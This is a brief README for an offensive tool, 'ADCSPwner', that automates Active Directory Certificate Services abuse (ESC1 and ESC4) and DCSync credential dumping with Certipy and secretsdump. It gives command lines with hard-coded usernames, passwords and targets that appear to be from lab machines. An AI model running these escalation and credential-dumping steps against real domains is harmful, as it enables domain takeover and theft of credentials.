README.md

ADCSPwner

An Automated tool leveraging Certipy & secretsdump.py to gain Domain Admin from Low Priv User

ADCS + DCSync Automation

Prerequisites

• Certipy
• secretsdump.py (Part of impacket)
• pip3 install rich

ESC1 - ADCS

python3 esc1.py -u ryan.cooper@sequel.htb -p 'NuclearMosquito3' -t sequel.htb

ESC4 - ADCS

python3 esc4.py -u clifford.davey@sendai.vl -p 'RFmoB2WplgE_3p' -t sendai.vl -d 10.10.104.31